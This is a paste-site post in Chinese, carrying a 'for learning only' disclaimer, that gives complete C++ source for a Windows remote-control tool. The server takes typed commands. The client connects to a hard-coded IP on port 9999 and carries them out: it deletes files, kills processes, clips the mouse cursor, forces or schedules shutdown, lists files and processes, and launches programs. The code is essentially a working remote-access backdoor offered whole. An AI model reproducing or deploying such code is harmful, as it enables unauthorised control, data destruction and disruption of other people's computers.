如何JC同学 || https://netcut.cn/p/337e273539758a45

免责声明

本程序仅供学习使用！

server

#include <iostream>
#include <string>
#include <winsock2.h>
#include <thread>

#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET client_socket) {
	char buffer[4096];
	while (true) {
		std::cout << "请输入命令 (delete + 路径/kill/exit 退出/shutdown + 时间[-0]/lockmouse[lkm]/unlockmouse[ukm]/scanfiles[scf]/scanprocesses[scp]/sendtext+'[color= ]'): ";
		std::string command;
		std::getline(std::cin, command);
		
		if (command.empty()) continue;
		
		// 发送命令到客户端
		send(client_socket, command.c_str(), command.size() + 1, 0);
		
		if (command == "exit") {
			break;
		}
		
		// 接收命令执行结果
		memset(buffer, 0, sizeof(buffer));
		int bytes_received = recv(client_socket, buffer, sizeof(buffer), 0);
		if (bytes_received <= 0) {
			std::cerr << "客户端断开连接或接收失败" << std::endl;
			break;
		}
		
		std::cout << "执行结果:\n" << buffer << std::endl;
	}
	
	closesocket(client_socket);
}

void start_server() {
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
		std::cerr << "WSAStartup 失败" << std::endl;
		return;
	}
	
	SOCKET server_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (server_socket == INVALID_SOCKET) {
		std::cerr << "创建套接字失败" << std::endl;
		WSACleanup();
		return;
	}
	
	sockaddr_in server_addr;
	server_addr.sin_family = AF_INET;
	server_addr.sin_addr.s_addr = INADDR_ANY;
	server_addr.sin_port = htons(9999);
	
	if (bind(server_socket, (sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
		std::cerr << "绑定端口失败" << std::endl;
		closesocket(server_socket);
		WSACleanup();
		return;
	}
	
	if (listen(server_socket, 5) == SOCKET_ERROR) {
		std::cerr << "监听失败" << std::endl;
		closesocket(server_socket);
		WSACleanup();
		return;
	}
	
	std::cout << "服务器已启动，监听端口 9999..." << std::endl;
	
	while (true) {
		sockaddr_in client_addr;
		int client_addr_size = sizeof(client_addr);
		SOCKET client_socket = accept(server_socket, (sockaddr*)&client_addr, &client_addr_size);
		if (client_socket == INVALID_SOCKET) {
			std::cerr << "接受连接失败" << std::endl;
			continue;
		}
		
		std::cout << "接收到来自 " << inet_ntoa(client_addr.sin_addr) << " 的连接" << std::endl;
		
		std::thread client_thread(handle_client, client_socket);
		client_thread.detach();
	}
	
	closesocket(server_socket);
	WSACleanup();
	
}

int main() {
	start_server();
	return 0;
}

client

#include <iostream>
#include <string>
#include <winsock2.h>
#include <windows.h>
#include <thread>
#include <vector>
#include <atomic>
#include <tlhelp32.h>
#include <shellapi.h> // 用于 ShellExecute
// 定义 ANSI 转义序列颜色代码
#define ANSI_COLOR_RED     "\x1b[31m"
#define ANSI_COLOR_GREEN   "\x1b[32m"
#define ANSI_COLOR_YELLOW  "\x1b[33m"
#define ANSI_COLOR_BLUE    "\x1b[34m"
#define ANSI_COLOR_MAGENTA "\x1b[35m"
#define ANSI_COLOR_CYAN    "\x1b[36m"
#define ANSI_COLOR_WHITE   "\x1b[37m"
#define ANSI_COLOR_RESET   "\x1b[0m"

// 启用 Windows 控制台的 ANSI 转义序列支持
void enable_ansi_mode() {
	HANDLE h_stdout = GetStdHandle(STD_OUTPUT_HANDLE);
	DWORD mode = 0;
	GetConsoleMode(h_stdout, &mode);
	mode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING;
	SetConsoleMode(h_stdout, mode);
}
std::string run_program(const std::string& command) {
	std::string path = command.substr(4); // 提取路径（去掉 "run "）
	
	// 使用 ShellExecute 运行程序
	HINSTANCE result = ShellExecuteA(
		NULL,               // 无父窗口
		"open",             // 操作类型（打开文件）
		path.c_str(),       // 程序路径
		NULL,               // 参数（可扩展支持）
		NULL,               // 默认工作目录
		SW_SHOW             // 窗口显示模式
		);
	
	return "[OK] 程序已启动: " + path;
}
// 发送彩色文本
std::string send_colored_text(const std::string& text) {
	std::string result;
	std::string color_code;
	
	// 解析颜色标记
	size_t color_start = text.find("[color=");
	if (color_start != std::string::npos) {
		size_t color_end = text.find("]", color_start);
		std::string color = text.substr(color_start + 7, color_end - (color_start + 7));
		
		if (color == "red") {
			color_code = ANSI_COLOR_RED;
		} else if (color == "green") {
			color_code = ANSI_COLOR_GREEN;
		} else if (color == "yellow") {
			color_code = ANSI_COLOR_YELLOW;
		} else if (color == "blue") {
			color_code = ANSI_COLOR_BLUE;
		} else if (color == "magenta") {
			color_code = ANSI_COLOR_MAGENTA;
		} else if (color == "cyan") {
			color_code = ANSI_COLOR_CYAN;
		} else if (color == "white") {
			color_code = ANSI_COLOR_WHITE;
		} else {
			color_code = ANSI_COLOR_RESET;
		}
		
		// 提取文本内容
		size_t text_start = color_end + 1;
		std::string content = text.substr(text_start);
		
		// 拼接彩色文本
		result = color_code + content + ANSI_COLOR_RESET;
	} else {
		result = text; // 无颜色标记，直接显示
	}
	
	return result;
}

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "user32.lib")
std::string scan_files(const std::string& path) {
	std::string result;
	WIN32_FIND_DATAA find_data;
	HANDLE h_find = FindFirstFileA((path + "\\*").c_str(), &find_data);
	
	if (h_find == INVALID_HANDLE_VALUE) {
		return "无法打开目录: " + path;
	}
	
	do {
		if (!(find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
			result += find_data.cFileName;
			result += "\n";
		}
	} while (FindNextFileA(h_find, &find_data) != 0);
	
	FindClose(h_find);
	return result.empty() ? "目录为空" : result;
}

std::string scan_processes() {
	std::string result;
	HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	
	if (h_snapshot == INVALID_HANDLE_VALUE) {
		return "无法获取进程快照";
	}
	
	PROCESSENTRY32 process_entry;
	process_entry.dwSize = sizeof(PROCESSENTRY32);
	
	if (Process32First(h_snapshot, &process_entry)) {
		do {
			result += process_entry.szExeFile;
			result += "\n";
		} while (Process32Next(h_snapshot, &process_entry));
	}
	
	CloseHandle(h_snapshot);
	return result.empty() ? "未找到进程" : result;
}
void show_colored_text(const std::string& text) {
	std::string color_code = ANSI_COLOR_WHITE; // 默认白色
	size_t color_start = text.find("[color=");
	
	if (color_start != std::string::npos) {
		size_t color_end = text.find("]", color_start);
		std::string color = text.substr(color_start + 7, color_end - (color_start + 7));
		
		if (color == "red") color_code = ANSI_COLOR_RED;
		else if (color == "green") color_code = ANSI_COLOR_GREEN;
		else if (color == "yellow") color_code = ANSI_COLOR_YELLOW;
		else if (color == "blue") color_code = ANSI_COLOR_BLUE;
		else if (color == "magenta") color_code = ANSI_COLOR_MAGENTA;
		else if (color == "cyan") color_code = ANSI_COLOR_CYAN;
		
		std::string content = text.substr(color_end + 1);
		std::cout << color_code << content << ANSI_COLOR_RESET << std::endl;
	} else {
		std::cout << text << std::endl; // 无颜色标记
	}
}

std::string execute_command(const std::string& command) {
	if (command.substr(0, 6) == "delete") {
		std::string file_path = command.substr(7);
		if (DeleteFileA(file_path.c_str())) {
			return "文件删除成功: " + file_path;
		} else {
			return "文件删除失败: " + file_path;
		}
	} else if (command.substr(0, 4) == "kill") {
		std::string process_name = command.substr(5);
		std::string cmd = "taskkill /IM " + process_name + " /F";
		FILE* pipe = _popen(cmd.c_str(), "r");
		if (!pipe) {
			return "结束进程失败";
		}
		char buffer[128];
		std::string result;
		while (fgets(buffer, sizeof(buffer), pipe) != nullptr) {
			result += buffer;
		}
		_pclose(pipe);
		return result;
	} 
	else if (command == "lockmouse" || command == "lkm") {  // 新增锁定鼠标命令
		// 获取屏幕分辨率
		int screen_width = GetSystemMetrics(SM_CXSCREEN);
		int screen_height = GetSystemMetrics(SM_CYSCREEN);
		
		// 将鼠标移动到屏幕中央
		SetCursorPos(screen_width / 2, screen_height / 2);
		
		// 限制鼠标移动范围
		RECT clip_rect;
		clip_rect.left = screen_width / 2 - 1;
		clip_rect.right = screen_width / 2 + 1;
		clip_rect.top = screen_height / 2 - 1;
		clip_rect.bottom = screen_height / 2 + 1;
		ClipCursor(&clip_rect);
		
		return "鼠标已锁定";
	} else if (command == "unlockmouse"||command == "ukm") {  // 新增解锁鼠标命令
		// 解除鼠标限制
		ClipCursor(nullptr);
		return "鼠标已解锁";
	}
	else if (command == "shutdown 0") {  // 关机命令
		if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0)) {
			return "关机失败 (需要管理员权限)";
		}
		return "正在关机...";
	}
// 添加延时关机命令（例如 shutdown 60 -> 60秒后关机）
	else if (command.substr(0, 8) == "shutdown") {
		int delay = std::stoi(command.substr(9));
		std::string cmd = "shutdown -s -t " + std::to_string(delay);
		system(cmd.c_str());
		return "将在 " + std::to_string(delay) + " 秒后关机";
	}
	else if (command.substr(0, 9) == "scanfiles" || command.substr(0, 9) == "scf") {  // 扫描文件
		std::string path = command.substr(10);
		return scan_files(path);
	} 
	else if (command == "scanprocesses" || command == "scp")   // 扫描进程
		return scan_processes();
	else if (command.substr(0, 8) == "sendtext") {  // 新增发送彩色文本命令
		std::string text = command.substr(9);
		show_colored_text(text);  // 客户端直接显示文本
		return "[OK] 文本已显示"; // 返回状态给服务端
	}
	else if (command.substr(0, 3) == "run") {  // 新增运行程序命令
		return run_program(command);
	}
	else 
		return "未知命令";
	
}

void connect_server() {
	WSADATA wsaData;
	if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
		std::cerr << "WSAStartup 失败" << std::endl;
		return;
	}
	
	SOCKET client_socket = socket(AF_INET, SOCK_STREAM, 0);
	if (client_socket == INVALID_SOCKET) {
		std::cerr << "创建套接字失败" << std::endl;
		WSACleanup();
		return;
	}
	
	sockaddr_in server_addr;
	server_addr.sin_family = AF_INET;
	server_addr.sin_addr.s_addr = inet_addr("172.100.112.133"); // 修改为服务器实际IP
	server_addr.sin_port = htons(9999);
	
	if (connect(client_socket, (sockaddr*)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
		std::cerr << "连接服务器失败" << std::endl;
		closesocket(client_socket);
		WSACleanup();
		return;
	}
	
	std::cout << "已连接到服务器" << std::endl;
	
	char buffer[4096];
	while (true) {
		memset(buffer, 0, sizeof(buffer));
		int bytes_received = recv(client_socket, buffer, sizeof(buffer), 0);
		if (bytes_received <= 0) {
			std::cerr << "服务器断开连接或接收失败" << std::endl;
			break;
		}
		
		std::string command(buffer);
		if (command == "exit") {
			break;
		}
		
		std::string result = execute_command(command);
		send(client_socket, result.c_str(), result.size() + 1, 0);
	}
	
	closesocket(client_socket);
	WSACleanup();
}

int main() {
	// 启用 ANSI 转义序列支持
	enable_ansi_mode();
	connect_server();
	return 0;
}